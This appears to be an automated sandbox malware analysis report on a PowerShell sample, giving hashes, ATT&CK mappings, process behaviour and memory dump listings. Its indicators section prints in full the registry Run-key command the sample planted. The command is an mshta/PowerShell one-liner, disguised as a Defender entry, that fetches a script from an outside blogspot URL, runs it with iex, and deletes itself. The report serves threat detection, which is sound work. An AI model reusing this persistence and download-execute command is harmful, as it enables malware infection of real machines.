11fcdd59dff8de4d618f066f0b283daea0d352fb0345878c18ee699df071c57a

Analysis

max time kernel
65s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12-01-2025 14:26

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General

Target

chutmarao.ps1
Size

2.5MB
MD5

7c2e9489af70d3967960dbe1cb87f4ae
SHA1

bcade1f31f869e58848c09cd022652b612580daf
SHA256

19bad3275a0cd1caa9a8eb75d496eaa897ca4c7a07aeab78ab3309d91b4f64fd
SHA512

9d910243fa5847046dd6793465d5b84c2e1f72d7d42acd5e52860f9bd3545b25e981322a312930a192dd43bafe3c5679657699a78bc98f48b4b6a2aec447a374
SSDEEP

1536:7Ic2Lo8L+bTXe26vgn00oR/S7rV521Gd9AcaMorjFN4UAjtbTliBdIpjXClBEv7l:ZD1

Score

7^/10

execution persistence

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
2536	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\Defenderlt-98 = "mshta \"javascript:bu=['RUN', 'powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://hoot11nov.blogspot.com////loka.pdf) \| . iex;Start-Sleep -Seconds 3;', 'WScript.Shell', 'Scripting.FileSystemObject']; new ActiveXObject(bu[2])[bu[0]](bu[1], 0, true);close();fe=new ActiveXObject('Scripting.FileSystemObject');fe.DeleteFile(WScript.ScriptFullName);\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\Defenderl-80 = "schtasks /run /tn Defenderl-80"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2536	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\chutmarao.ps1
1⤵
- Deletes itself
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2536-4-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

Filesize
4KB

Download
memory/2536-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2536-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2536-7-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-8-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-11-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-10-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-9-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-14-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-13-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-16-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-15-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

Filesize
4KB

Download
memory/2536-18-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-17-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-20-0x00000000029F0000-0x0000000002A02000-memory.dmp

Filesize
72KB

Download
memory/2536-23-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download